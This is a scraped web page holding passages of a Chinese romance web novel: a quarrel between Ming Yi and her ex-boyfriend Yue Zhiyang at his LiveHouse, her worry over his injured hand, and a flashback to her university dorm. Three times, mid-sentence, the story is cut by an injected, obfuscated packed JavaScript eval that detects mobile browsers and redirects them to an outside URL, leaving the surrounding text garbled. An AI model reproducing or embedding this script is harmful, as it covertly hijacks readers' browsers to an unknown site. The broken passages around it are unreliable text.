Eden又接连搬出证据。 “是啊!就昨天的事儿啊老板,就在这门口,你不是还帮了人小姐姐,之后还嘱咐我们要把店里仔仔细细查一遍,以后售票也得记着核查?” 越之扬按停水龙头:“有这回事儿,我怎么不记得?” 哗啦的水流声霎时一静。 一切都戛然而止,似乎连空气也随之沉寂。 他关水的举动来得突然,动静也大,在这安静的过道里莫名显得掷地有声。 Eden似是察觉到气氛不对。 明翊皱了下眉,很快抬眼看过去,正看到他缓慢直起腰。 越之扬的目光也直直朝这边看来。 “你呢,你记得么?” 二人视线隔着镜面严丝合缝地对上。明翊还能说什么,顿了顿,她迟疑道:“…记得。” Eden登时松了一口气。 “我就说嘛,这就刚刚发生不久的事儿,没道理会记岔。扬哥你是不还伤到脑子了,怎么不去医院看看?” 越之扬眉心微抽,很快啧了声。 明翊忍了忍,将笑意压下去。 下一刻,越之扬转过身,视线落定,又冲她抬了抬下巴:“那你是怎么个事儿?” Eden双眼忽地睁大。 在两道视线的夹击下,明翊避无可避,也不太确定该做出什么反应。 因为她是真的有些没明白,越之扬为什么要忽然提起这茬,昨夜的事已经很明显。 转账没收。 赔偿款他也不要,她这边谢了半天又谢不出去。 明翊觉得这事就算翻篇,真有什么后续也是她找个越之扬心情好的日子将转账再发一遍。 但旧事重提,看对面这态度,总莫名有种他对她昨天的处理方式极为不满,打算在自己的地盘秋后算账讹个大的的错觉。 “什么意思?”顿几秒,明翊谨慎道:“你是……有哪里不满意吗?” 越之扬挑眉:“我该满意?” “你刚刚是怎么一个情况,眼瞎?” “又没看见我这号人?一晚上不见,眼神儿差成这样?”对面上下打量她一番,语气无敌之欠揍,“笑这么开心,也没见你伤到脑子啊。” 明翊这回是真的有点忍不下去了。 Eden也惊了:“扬哥你说什么呢?生意还做不做了?” 越之扬懒懒暼他一眼。 “没你的事儿,自个儿玩去。” Eden一噎,忙拉着明翊往外走,边走还边道歉:“不好意思啊小姐姐,他可能是打破伤风不小心伤到脑子了,你别介意。” 默了片刻,明翊平静挣开他的手:“没事,我一般不和狗计较。” Eden:“……” 这两的说话方式一个比一个炸裂。 Eden有点儿顶不住,本着不能让客人生气,但也不能得罪老板的打工人规则怪谈,他很快向后扫去一眼,正看到越之扬冷冷盯着这边。 一个激灵,忙撒开挽着明翊的手。 身边的人也刚好停下。 明翊脚步一顿,脸上的表情淡到极致,说出的话却无比炸裂:“但也没有狗咬了我我还傻站着不咬回去的道理。” * 将人支开。 明翊又走回去,在越之扬面前站定。 这人依旧是那副闲散姿态,双手懒懒撑在洗手台边缘,似乎是笃定了她会气不过回头找他。本来今天加班就烦,又是丢东西又是被人针对,本就不多的耐心此刻也见了底,明翊懒得再和他装模作样,冷声问:“你到底什么意思?” 越之扬语气淡淡:“没什么意思,给你找不痛快呢,看不出来?” 明翊忍了忍:“你这么无聊?” 越之扬:“是啊,没你的生活有趣,这么快就步入人生新篇章。” 明翊愣了下,总觉得这话听上去有些古怪。 似乎是带着某种说不清道不明的怨气。 但‘步入人生新篇章’这个词,难道不是用在他身上才更合理? 这人换女朋友的速度可比她快得多。 又回想起刚才Eden还算热情的服务态度,明翊觉得他可能是误会了什么,但也没多少想解释的想法,只冷淡道:“关你什么事。” “是不关我事,我就是提醒你一句,做人呢,得懂点儿——”他一个字一个字往外蹦,“基本礼貌。” 明翊下意识接话:“你不觉得你说这话,显得有些搞笑。” 越之扬悠悠道:“不觉得。” 明翊:“……” 盯着她的脸,对面又慢吞吞往外冒了句:“比不上某个眼睛不往地方上长的人。” “……” 听见这话,明翊也没多意外,只觉得这人就是本性如此,生而嘴欠。 接连两次的无视果然让越之扬怀恨在心,但明翊觉得这不算什么大事,昨晚是她理亏,可被孙卓然无情戳穿后,她也有在好好跟他相处,尝试缓和关系。 至于今天—— “我为什么不想理你,你自己难道不清楚吗?” 发那种短信,还好意思问。 越之扬忽地看来,目光冰冷。 “我该清楚什么?清楚你——” 说到这,他的话音忽地一顿,面色极度沉郁,却也不再继续往下说。过几秒,眼里的凌厉才缓缓退却,“……算了。” 门口正好有人出来,表情古怪地朝他们这边投来一瞥。 明翊的情绪也有点儿沉。 她不想和他在大庭广众之下争论这些有的没的,很快整理好自己的情绪,淡淡扫越之扬一眼:“如果你只是生活无聊存心想给别人找些不痛快的话,那你成功了。但我没你这么闲,没事的话我就走了,你自己慢慢找乐子。” 越之扬轻嗤一声,松开手缓缓站直。 就在这时,明翊目光微动,隐约看见他袖口有道白影一晃而过,露出小半截缠得厚实的布料。 似乎是医用绷带。 脑海里忽地闪过些什么。 上午在医院三楼电梯旁意外瞧见的那道背影,越之扬必须要走一趟所里的理由,以及刚才Eden无意中提到过的: ——扬哥你是不还伤到脑子了。 ——他可能是打破伤风…… 那家医院明翊倒是常去,对构造也熟,三层的科室不多,离电梯最近的就是外科。 而上午撞见的那道背影,除了单肩包外,那人手上还拿着个白色药袋,隔太远明翊没看清多少,但里面似乎是装着不少药品。 难道越之扬受了伤? 明翊愣了下,下意识抬眼看去,正对上他冷着脸不耐的眼神。 又一时无话。 虽说这情况她似乎不好再打扰,默默离去貌似是最正确的选择。但乐手的手有多重要不言而喻,更何况裹着绷带的还是右手。 明翊做不到看着他受了伤内心还毫无波动。 她心里隐约冒出个猜测。 昨晚只是大致扫过一遍就武断下了结论,认定这人没有因为那起斗殴受伤。但这季节冷,衣服又穿得多,要是真受了伤随便遮一遮也完全看不出来。 万一越之扬真因为她惹出的麻烦伤到手…… 明翊咬咬牙,无视他的冷淡,主动搭话:“…你手怎么了?” 越之扬朝她看来,目光始终很冷,眼里没半点情绪。 “跟你有关系吗?” 得知这件事,再联系一下刚才他为什么要出声拦她,又问自己记不记得,明翊忽然就明白了。 越之扬因为她受了伤,自己却视而不见,光顾着和别人搭话。 这未免也太不做人。 也难怪刚才他明里暗里说自己没礼貌。 明翊此刻也没了底气,忽然就有些不知道该说些什么,目光定在他缠着绷带的右手,语气磕绊着问了句:“…你、真受伤了?是昨天?” “哪儿能啊,我太闲了闲出病来了,自找的。” “……” 求和的信号刚发出去,就被这人给无情截断。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765355|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 越之扬右手揣进裤兜,视线随意打量她一番,脸上照旧是玩世不恭的散漫表情,说出的话也格外要命:“还不走愣着干嘛,等我送你回去,前男友似乎没这个义务吧?” “……” 果然,还是逃不过这茬。 两人心照不宣装了这么久陌生人,刚才当着Eden的面他也没不识趣地点破。 却不知是三番四次的无视,还是必须要揪个错处对她进行人身攻击。 这时,越之扬忽然就无比坦然地说了出来。 嗯。 前男友。 哪家前男友是这个死样子。 明翊抬眼看向他,心里暗想,她俩这状态说是仇人都要比前任更加靠谱。 被平白无故怼了两句,心里那点儿分量原本本就不重的歉意一时间也轻了许多。 愧疚什么的,只能是错觉。 对越之扬就不能有好脸色。 面对他的正确方式,大概就是欠钱直接还钱,弄坏东西照价赔偿,两人之间只能存在冰冷的金钱交易。 扯感情什么的,太高估这狗通人性的程度了。 她收回目光,淡淡道。 “抱歉啊,我没这个意思,不知道是哪里让你想多,我只是想为有可能是我惹出的麻烦收个尾。不是你说的,做人要懂点基本礼貌?” 没想到她会这么顶回来,越之扬默了默,心里一时有些气不过。 想多,呵。 她这就差把‘自作多情’几个字直接甩他脸上了。 “我说是因为你了吗?”越之扬扯平唇角,“我不是半夜兼职打手去了么?怎么,你那边下的单?” 明翊:“……” 明翊罕见地沉默住。 不明白只是分开了半年,这人的攻击性怎么就越来越强了。 见她不说话,似是吃瘪。越之扬很快收回眼,回击的语气越发欠揍:“需要我提醒一下你吗?你现在这行为,更容易让人误会,就还——” 顿一下,他又将她刚才的说法加工了下直接抛回去。 “挺自作多情的。” 明翊觉得离谱,也不想再惯着他。 “咱俩有情?” “……” 说完这句,双方都沉默住。 明翊没有浪费时间和他争这些鸡毛蒜皮的打算,只是觉得莫名其妙,他们两个居然又又又吵起来了。 遇见越之扬,似乎总会触发她的被动。 明翊不是多话的人,常人对她的印象大概就是不善言辞的木头。 但越之扬就是有这种魔力,就算是哑巴听了他讲话估计也得气得跳起来骂街。 更何况她。 像是被打断施法,对面表情不善闭了嘴,紧抿的唇愈发苍白。 这人难得露出这种虚弱表情,瞧见他这幅病恹恹模样,明翊也不想跟他吵,总感觉自己在虐待病人,很快放软了声音。 “伤得严重吗?去医院看过了吗,医生那边怎么说的?” 对上他垂下的目光,明翊试探着问了句:“下次换药是什么时候,需要我——” 话还没说完,就被人打断。 “不劳驾你这大忙人,我不需要。”越之扬的脸色依旧不怎么好看,“我刚说话你又不听,都说了让你少自作多情,别多管闲事。” 他一口一个自作多情,听得明翊越发暴躁。 “你不用总是这幅被人缠上的见鬼表情,说实话昨晚我根本就没认出你。戴着个口罩玩变装,真以为自己是大明星?” “要不是孙卓然那狗,我还以为哪个精神病院的病人跑出来了……” “在这寒碜谁呢,不想被人认出来你怎么不裹成木乃伊出门?又保暖又保险。” 对面还在狗叫,明翊压着火气配合性点了点头。 嗯,她信的话就是有鬼。 说没认出来,她的名字倒是喊得清清楚楚。 却不知为何,这动作貌似惹恼了越之扬,他不耐地啧一声。 “你点什么头?” 明翊抬眼:“附和你啊。” “不然,你一个人在这狗——”将那个明显算是挑衅的词默默咽回去,她换了个说法,开始轻描淡写地气人,“说话,有点儿孤单?” 越之扬默了默,也再没刚才的耐心:“不信是吧?” “没啊。” “……” 再熟悉不过的一拳打在棉花上的感受。 这次越之扬也再没了刚才的好脾气,面无表情冷了声音,似是想极力证明些什么:“可能是我昨晚的英雄救美让你想多了,但你放心。绝对不是为你,我也没那么闲,中场休息出来上厕所,谁知道会碰见有人这么倒霉被关进小黑屋。而且——” 顿半秒,他冷冷撩起眼皮。 “昨晚就算不是你,是个男的,我也照样会帮忙。” 明翊点点头,很善解人意地没有拆穿。 但视线里那道人影唇角很明显向上翘着,气焰嚣张,看上去极其趾高气扬。 不怼他两句都有些可惜。 “嗯,我明白了。”明翊点点头,刻意拖长声调,“所以你是想英雄救美——” 越之扬抬睫看过来:“?” 对上他的视线,明翊淡定补全后半句:“男了。” 越之扬:“……” 对面神情有很明显的宕机,见状,明翊很快收回眼,又淡淡扯了下唇。 “抱歉啊,我不知道你最近还有这癖好。” “……” 没等越之扬回话,她又像是忽地想起什么,慢吞吞‘啊’了声:“没想到你们LiveHouse还挺开放的,不光小流氓擅自进女厕,老板似乎也可以。” “也挺好,跨性别者的福音。生活就…还挺西化的。”明翊顿一下,又抬眼看向越之扬,表情故作些微妙的难言。 “和你现在这想法,不谋而合。” “……” 12. 12 人在极度尴尬的场景下会情不自禁变成胆小鬼,想要逃离,谁也不能免俗。 Eden对这点深信不疑。 他踩着轻柔的调子疾速往外冲,离卫生间足够远后才松了口气。 谁知道小老板今天又犯什么毛病,平时再嚣张,也没见他这么明目张胆地怼客人。 Eden也不知该如何处理,他在柜台仔细翻过一遍,还是没找到明翊口中那失物。 又想起刚才二人那剑拔弩张的气氛。 Eden磨蹭到调酒师身旁,忍不住多嘴问了句:“哎,浩子,今个儿扬哥是不是心情不好啊?” 袁浩眼也不抬:“他哪天心情好过,从开业到现在,你见他笑过?不知道的还以为我们店倒闭了呢,我看八成是被女朋友给甩了。” “……”Eden挠挠头,“这倒是。” 过几秒,他像是发现了新大陆:“扬哥他有女朋友?!真的假的!!” 袁浩看过来。 “有啊,这事儿你不知道?” Eden摇头:“还真不知道,他也没提过。他这脾气还能有女朋友,那姑娘得是什么超绝忍人?” “我也是听卓然哥说的,据说还是个大美女,便宜他了。”袁浩啧了下,又压低声音,“我还听说昨晚闭店的时候卓然哥说要帮他讨回公道。” “啧啧,听那语气,不是被绿了就是被扫地出门了。” Eden惊讶:“真的假的?” 袁浩一点也不同情:“管他真的假的,就算是真的那也是他活该。” Eden对这话深有同感。 “确实,小老板那脾气确实没人受得了,他刚还和店里顾客吵架呢。” 袁浩:“啥时候?” Eden:“就刚刚,在走廊。” “…你不是刚从那儿过来?” Eden点点头。 袁浩看过来的眼神越发古怪,似是对他无话可说:“你在场你不知道劝一下?” “啊,要劝吗?就他俩儿吵的话题似乎还挺私密的,我旁听的话是不是不太好啊?” “……” Eden顿时慌了:“浩哥?” “我忽然明白,卓然哥为什么要单独给你培训了。”袁浩在他头顶使劲撸了一把,“傻孩子!快长点儿心眼吧!!再这样下去真要卷铺盖滚蛋了!!!” Eden被老员工一顿批,心有余悸地回到柜台边,正想着要不要回去劝架,就见明翊从走廊那边过来。 刚才的吵架没能吵出个结果。 那句‘英雄救美男’抛出后,空气里像是忽然释放了什么沉默buff。 越之扬似是想反驳,却也气得不轻,只没好气地撂下句:“我非得救人,我不能救我家猫?” 明翊这才想起那只随处乱蹿的白猫,它才是这场闹剧的罪魁祸首。 但对着小动物也没法埋怨什么。 “那是你的猫吗?” 又记起它被那两个男人按在水池里的惨样,明翊忍不住提醒:“如果养猫的话最好还是不要把它带到这种场所。这地方音响声太大,会影响猫猫的听力,而且人又多,就算不跑丢,万一遇上什么坏人,很可能会出现之前的情况……” 提起猫,她的话倒是多了不少,也有耐心跟他好声好气沟通。 越之扬却没领情:“不然你养?” 梅开二度的话题。 明翊噎了噎,三连拒绝:“…我没这条件。” 生怕又被人怼,她快速补上句:“我对你的饲养方式,也没多大意见,就是可以再改进一下。” 毕竟这人也确实有钱。 随意说了两句,明翊就告辞离开。 也不是直接忘了他受伤这回事。 明翊原本想拉着越之扬去趟医院,又或是问清楚伤情好做出补偿。 但看他这明显是不打算承认的态度,肯定不会乖乖就范,加之刚才一番不善言论,两人又吵了起来。 越之扬这火气应该是没消,不逮着她冷言冷语地接着讽刺几句,就算是她今天运气好了。 明翊没有送上门给人当出气筒的习惯,想了想,还是决定迂回处理。 尽管对面若无其事,表现得冷淡又嘴硬,连眉头也不多皱一下。 但那两年的日子总不是白过的。 人一旦和另一个人相处的时间久了,哪怕不愿意承认,下意识的习惯却不会说谎。 很多时候,直觉或许比她的理智还要更加了解这个人。 明翊很确定,越之扬受了伤。 大概率是在手上。 仔细想想,他似乎都没多少时间用来处理伤口,二人碰面不久后便急匆匆去了警局,做完笔录又是深夜,他估计也懒得再去医院。 明翊觉得这人也真是能忍,全程没有一点反应。 像是故意要瞒她。 不知为何,心情忽然就有些闷。 明翊讨厌冲突,也抗拒所有的暴力。就比如昨天那事,打输了进医院,打赢了还是得进医院。 越之扬还因此伤到了手,手可比贝斯贵得多。 这么想着,她直接走到柜台边,冲Eden礼貌颔首:“您现在方便吗?” Eden一愣,视线在她脸上扫过一圈,很快回话:“方便的。” 因为空气实在冷,过敏的痕迹也没彻底消下去,明翊一双眼红红的,连鼻头也泛着红。 不大的脸整张埋进围巾里,莫名显得有些可怜。 Eden心里咯噔一下。 完了,这是给人姑娘骂哭了。 下一秒,她又问:“你们老板昨天是受伤了吗?” 想着帮小老板争取些宽大处理不被投诉的机会,Eden着急忙慌开口:“是啊是啊!可严重了,小姐姐你是没见,那血哗哗地流!裤子都快给染红了。” “……” 明翊嘴角抽了抽。 哪儿那么严重? 那裤子她又不是没扯过。 但因着这句话,后知后觉的愧疚又涌上心头。想起自己昨天直接将人撂那儿不管,刚才又故意不理他,明翊愈发觉得自己罪大恶极。 “那你知道他都伤到哪儿了么?伤得严重吗,除了手,还有别的地方受伤吗?” “…这倒是不清楚,不然我帮你问问老板?” 想到越之扬那性格,明翊果断拒绝:“谢谢,这就不用了。” 顿了半晌,她开始低头翻自己的包。 Eden心急如焚,正想着怎么劝客人不要投诉。 明翊已从包里翻出支笔,又看向他:“你们这儿有纸吗?” Eden找了张空白的宣传页递过去,又去跟她搭话。这姑娘却没再理他,有一搭没一搭地敷衍应和着,垂头专注在纸上写着什么。 半分钟后。 明翊当着Eden的面从包里取出叠钱折进宣传页一起递过去,又温和道:“麻烦你帮我转交给……” Eden弱弱接话:“市监局?” “啊?”她愣了下,又看向自己手边的东西,“这是给你们老板的,就刚才和我吵架那位。” Eden倒是没见过把投诉信直接甩当事人脸上的场面。 “哦哦,好。”他火速接话,“小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765356|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐你放心,我会好好教育他的。” 明翊默了默,没太跟上他的脑回路。 但想到万一后续伤情恶化、事态严重,她又补上句:“麻烦你多转告一句,如果后续有什么事的话,可以找我,我会负责的。” Eden:“……” Eden:“啊?” 道过谢后明翊就往外走,包里的现金不算多,加上零钱也只有两千,肯定是不够赔偿。 但越之扬的抗拒态度太过明显,微信转账又绝对不会收。 她借别人的手转交给他,应该是还算过得去的处理方式,就是有些麻烦Eden。 如果孙卓然在这儿就好了。 刚拉开玻璃门。 “不好意思,借过借过!” 恰好有店员抱着两大箱快递进来,一大一小两个纸箱摞得整整齐齐,箱体还标着轻拿轻放的玻璃制品标志。 明翊侧身让开,扶着门让那人顺利进来。 理着平头的店员抱着箱子冲她点头道了声谢,脚下却忽然被绊了下。因为没绑捆绳,上层的小箱子被他的动作带倒,就要往下滑。 明翊眼疾手快地帮他托住,二人同时松了口气。 这快递箱很沉,里头也不知装了多少东西,一晃就传来些轻微的泡沫摩擦声,玻璃制品本就易碎,明翊担心她这一松手那店员一个人抱不住,只好硬着头皮用手托稳。 没过几秒,手腕的力道骤然一松。 店员很快拿稳,冲她道了声谢,明翊温和地点点头,什么也没说。 Eden冲过来帮忙,盯着那道离去的背影默默看了一会儿,视线又落到卫生间里侧的走廊,忍不住小声吐槽:“家里养比格的吧。” “被小老板咬了都不叫唤,脾气好得简直不像人。” * 越之扬从后台拿了衣服就准备回学校。路过前台时,却被Eden忽然叫住:“扬哥,你这是要去哪儿?” “回学校考试。” “哦哦。”Eden应一声,又走过来,“刚那姑娘有东西给你。” 越之扬语气不耐。 “鲜花不收,微信不给,外卖放前台,还有别的事儿?” Eden被噎了下,又盯着他的脸仔细瞧了瞧,最终还是识趣移开了目光:“不是之前那些姑娘,是刚被你骂哭那个。” 越之扬皱起眉:“骂哭?” “就刚和你在卫生间门口吵架那个。” 闻言,越之扬当即嗤了声,“她会哭?” Eden也没搭理他这意味不明的嘲讽,只将那夹着钱的宣传页递过来。 越之扬抬手接过,却没打开,在原地停顿几秒,又扭头看过去:“她……真哭了?” Eden挠挠头。 “应该吧,看人出去的时候眼睛是红的。” “……” 心情忽然变得很复杂,沉默半晌,越之扬缓缓吐出口气,才去翻那宣传页。 打开后,里面赫然是一沓现金。 内里还用圆珠笔清楚写着几行小字:医药费。这一行明显被划掉了。 视线再向下落—— 学姐给你的小费。 乱丢纸币犯法哦^^ 望着那个简笔画就的笑脸,他冷冷勾起唇。 呵,会哭就有鬼了。 “那小姐姐还说——”触及到对面看过来的不善目光,Eden话音一顿。 越之扬眯了眯眼:“你有话就直说,别每次都跟个牙膏似的。” “说会对你负责。” 越之扬:“……” 越之扬:“?” 13. 13 Eden语速飞快,活像背后有鬼在追,越之扬却没多少反应。 他脑袋低垂,视线始终定在那两行字上,神情意味不明。 顿几秒,Eden舔了舔唇,像是鼓起了莫大的勇气:“扬哥你这个来钱方式,是不是有些……” 越之扬抬眼看过去。 在他沉冷的目光里不自觉咽了下口水,Eden硬着头皮将这话补全:“不道德。” 越之扬很快把宣传页合起,连带那沓子钱一起收回口袋。 活脱脱一‘恶霸’作风。 要说在一起那两年里,他最看不惯明翊这人什么,大概就是她这总要跟他分个清清楚楚的性格。 两人不像是在恋爱,倒像是债务关系。 也许她从一开始就没想着要跟他有什么牵连,所以分手时才会这么干脆。 “什么不道德?” Eden明显没看到那纸上的内容,只觉得他过分:“哪有你把人家姑娘骂哭了她不投诉你反倒给你钱这种大好事,扬哥你是不威胁人家了?” “……”越之扬一噎,“我是这种人?” “那可说不准,我看人小姐姐说话温柔长得又好看——” 说到这,Eden忽地睁大眼。 “难不成是你把人给气到直接动手了,这是私了之后的精神损失费!?” “扬哥!开店可不是这么个开法啊!” 越之扬觉得他脑子有病:“你起开。” Eden让出柜台的位置,越之扬又走进去,垂着眼问:“她刚找什么?” “原来你刚听见了啊,那小姐姐说她U盘丢了。” “没找到?” Eden点点头,就见越之扬又矮下身去在底下的抽屉里一顿翻腾,已经找过两遍,真没有的东西肯定也翻不出来。 懒得杵在这儿看狗拆家,Eden很快去忙别的。 这时,手机响了两声。 越之扬拿起,最新两条消息当即映入眼帘—— 陆一燃:【图片】 陆一燃:【扬崽,这是不你东西啊?】 尽管没有点开大图,越之扬的呼吸还是下意识停了半刻。 手机屏幕亮度被调得很高,他不自觉眯了眯眼。 那并不是越之扬的东西,准确来说,是曾属于他但又被送出去的礼物。 但这瞬间,脑海里忽然就跳出那道温和的声音。 ——也不是多重要的东西。 * 回去的地铁上,房东将电子版合同发过来,明翊确认完没什么问题后就准备熄屏,那边却又发来几条信息。 说过两天可能会有位新房客入住,密码锁什么的已经换好,但今晚自己就要出国旅游,来不及送钥匙。 那人就住在对门,问明翊有没有空代劳。 只是件小事,二人又相处得不错,明翊很快应下。 越之扬那边也没传来什么动静,既没有出言质问,也没有把钱退回来,明翊想他可能是还在生气。 也就没再管。 回到家,先是拿热毛巾敷了敷手腕。 明翊这人大毛病没有,身体的小毛病倒是不断,右手不太能扛重物,也不适合太劳累,前几月还因为腱鞘炎去了趟医院。 刚刚在店门口好心帮那店员扶了一把,倒是没想到里面的东西那么重,到这会儿还有些隐隐作痛。 担心影响工作,热敷过后,她又取出药膏贴上,也不太敢接着干活。 洗了点水果点开两集综艺看完,中途取了个外卖,快八点的时候,房东过来送钥匙。 明翊不是很爱打探别人的私事,随口问候了几句就交接完。 还不到睡觉时间,她想了想,又在网上搜了几个手伤护理教程,一股脑地发过去,越之扬照旧没回。 她也就不再自取其辱,把这事暂且搁置,想着等他心情好了再提赔偿的事。 入睡前,外头似乎是又下起了雨。 淅淅沥沥的雨声吵得人睡不安稳,明翊慢腾腾睁开眼,记起下午开窗通风时窗户似乎是没来得及关,只好下床关了趟窗。 再躺回去,却是无论如何也睡不着。 吃了两片助眠的药,又戴上蒸汽眼罩,直到后半夜,她才隐约有了些困意,大脑伴着淅沥的雨声慢慢变模糊。 却有别的东西在记忆里逐渐分明。 乘着这一场雨,明翊回到了三年前的滨江。 十月的滨江潮湿闷热,气温居高久久不下,一伸手像是能从头发上凭空掬下一把汗来,陶以欣的生日就是在这个时候。 滨江大学的女寝是四人间,上床下桌。 明翊不常待在宿舍,和室友的关系也不算亲密,比普通同学的点头之交要好些,但也达不到推心置腹的程度。 很多时候,她就像是一片游荡的云。 想让云在某处长久的停留,是件不切实际的事。 十月的最后一个周末,陶以欣过生日,按她们的关系,往往是其他三人私底下另外庆祝。 因为明翊总是很忙,她不常参加宿舍的集体活动。 除了军训和开学初期那段日子几人同出同进,给未来四年的同寝生活打了个良好的地基外,剩下的时间,她都在忙自己的事。 但那次,陶以欣破天荒地提前一周和她打过招呼。 明翊也只好推掉原定的家教,抽出时间陪她一起庆祝生日,几人前往学校附近的一家连锁火锅店聚餐。 这其实是件有点尴尬的事情,因为久不相处,尽管关系还算过得去,但听她们聊天,明翊觉得自己完全插不进嘴,只好默默旁听。 中途聊起些八卦。 于玲说隔壁班的学委和班长似乎是在恋爱,几人为这事聊得热火朝天。 明翊咬着筷子想了半天,才记起那班长长什么模样。 按她这记性,能把本班人记个大概,已经是稀奇。 于玲消息格外灵通,学院里有什么事几乎逃不过她的耳目,甚至连期末考各科老师的出题范围都有办法从学长学姐那里打听到。 这会儿正说得眉飞色舞。 “诶,那天我吃完晚饭回去,正好看到他俩儿在操场夜跑来着,学委跑不动了,班长就拿着她的手机帮她打卡。” 陶以欣苦着脸抱怨:“好羡慕啊,我也想有人帮我打卡,你们看看,这两天跑步跑得我小腿肌又二次发育了。” “大小姐你花点小钱找人帮你跑不就完事儿了,多拿一个手机的事。” 于玲觉得这人矫情,说完又忍不住嘿嘿笑两声,“不过我看你这也快了,这才十月份,怎么就有人的春心按捺不住了。” 陶以欣笑骂了一句,见明翊看过来,很快转了话题。 “对了,小翊你最近都在做什么啊,怎么一直不在宿舍?这开学快一个多月了,除了上课我们几个都没怎么见你……” 明翊只说最近在帮忙代课,给学生做些家教。 场面一时沉寂,话题扯得太远。 几人对这事也不感兴趣,刚才的欢快气氛不知何时悄然落了地。 又聊起下次生日怎么庆祝。 这时于玲忽然问及明翊的生日,她想了片刻,最终还是决定如实回答:“九月十号。” 陶以欣似是愣了一下,其余两人的表情也有些微妙。 于玲讷讷道:“小翊你怎么都不跟我们说一声啊,这就上个月的事,你早说的话我们也能帮你庆祝一下什么的……” 明翊倒不在意这些事。 只笑笑说自己那几天太忙,也没记起,被她们这么一提才记起。 中途她去了趟洗手间,出来时在洗手台附近碰见了陶以欣。 陶以欣垂着头正在洗手,见明翊出来很快扬起脸冲她笑,隔着镜子,明翊能看到她那双楚楚动人的桃花眼。 陶以欣长相甜美,是那几年很流行的甜妹类型。坦白讲,明翊其实不怎么擅长和这类女生相处,光一个照面,自己的木讷与死板就一览无余。 她站在她身侧洗手,身上的葡萄柚香气迷人,明翊忍不住低头嗅了嗅。 二人洗完手,一道往座位方向走。 半路陶以欣忽地问起:“小翊,你今天是不是不开心啊?” 明翊愣了下,很快否认。 “没有啊,怎么会这么想?” “就你一直不说话,我还以为你刚刚不开心了。”陶以欣笑起来,唇边露出个小小的酒窝,“没有就好,一会儿还有事需要你帮忙呢。” 明翊有些懵。 但她还没来得及问,陶以欣就又开口:“小翊你知道吗?我一直觉得你可高冷了,平时都不太敢跟你搭话,玲玲跟李冉她们也是。” 明翊没想到她会这么说,因为她并不觉得,自己高冷什么的。 她只是单纯的不爱讲话,无论面对谁话都少得可怜,只有在跟钟以晴相处时,才会多说上那么两句。 “是因为我们吵到你睡觉,所以你不开心了吗?”陶以欣又问。 因着她这话,明翊忽然就记起件事。 她这人睡眠质量不太好,很多年的毛病,看了两年医生也无法根治,所以如果有人在睡觉时间吵她,明翊的心态就不怎么稳。 不久前,大约是某个周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765357|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六。 因为第二天没课,凌晨两点多的时候宿舍几人还在聊天,她们不知说到了什么趣事,笑的声音有点大。 明翊被吵醒,但也没说什么,只默默将火气压下去。本来这事也没什么,大周末的睡晚一点也可以。 明翊不是很在意这些事的性格,但有一位学生临时改了授课时间,她赶着第二天早晨去做家教,不得不早起。 吃了两片褪黑素,想着借药物唤起些困意,但对床的声音挥之不去,像有只蚊子在耳边不停嗡嗡叫,明翊被时不时响起的窃笑声吵得再也睡不着。 她什么都没说,只从床上爬起披上外套去水房的休息处待了一会儿。 明翊不觉得这有什么,初秋的夜里不算冷,她的行为也不会给任何人造成干扰,甚至连一句委婉的抱怨都没有。 但室友那边似乎是产生了误会。 明翊不想跟人起冲突,也不愿意惹麻烦,更何况还是这种鸡毛蒜皮的小事。她很快解释清楚,说自己当时没别的意思。 陶以欣笑起来:“那就好,以后有什么事要记得跟我们说啊,不要老是闷在心里。” 明翊一顿,缓缓点了头。 “你刚刚说的帮忙,是指这件事吗?” 陶以欣却只是甜甜一笑,笑嘻嘻挽住她的手臂往回走:“一会儿你就知道啦!” 吃过晚饭,众人又前往学校附近的一家清吧。 明翊本没有要去的意思,但陶以欣不同意,说还没尽兴,几人热情似乎都很高。 因着二人刚才那席话,明翊也不好提前离开。 目的地和学校隔着三条街,在一条步行街最里侧,位置有些偏僻。 人却不少,内里挤满了打扮时髦的年轻人,明翊在吧台处就看见三四个眼熟的面孔,几乎都是校友。 还有乐队驻唱,主唱是位女生,唱腔缱绻悠扬,柔柔缓缓的调子让人不自觉跟着放松。 明翊还是第一次来这种地方,像是踏进了一个陌生的世界。 陶以欣开了卡座,明翊借着桌面的小夜灯对着酒单看了好一会儿,视线掠过那些五花八门的特调,要了最底下的薄荷气泡水。 坐了大概有半小时,时间差不多接近九点半。 吧台那边的曲风忽然一变,低沉的男中音接替了缠绵缱绻的女声,乐队风格也随之大改,换成了躁动激昂的摇滚重金属乐。 被这动静吸引,明翊好奇投去视线。 一眼就看到了人群之中格外夺人眼球的年轻男孩。 青年侧身对着她这边,身侧还坐着个鼓手,因此一开始明翊没能看清他的长相。 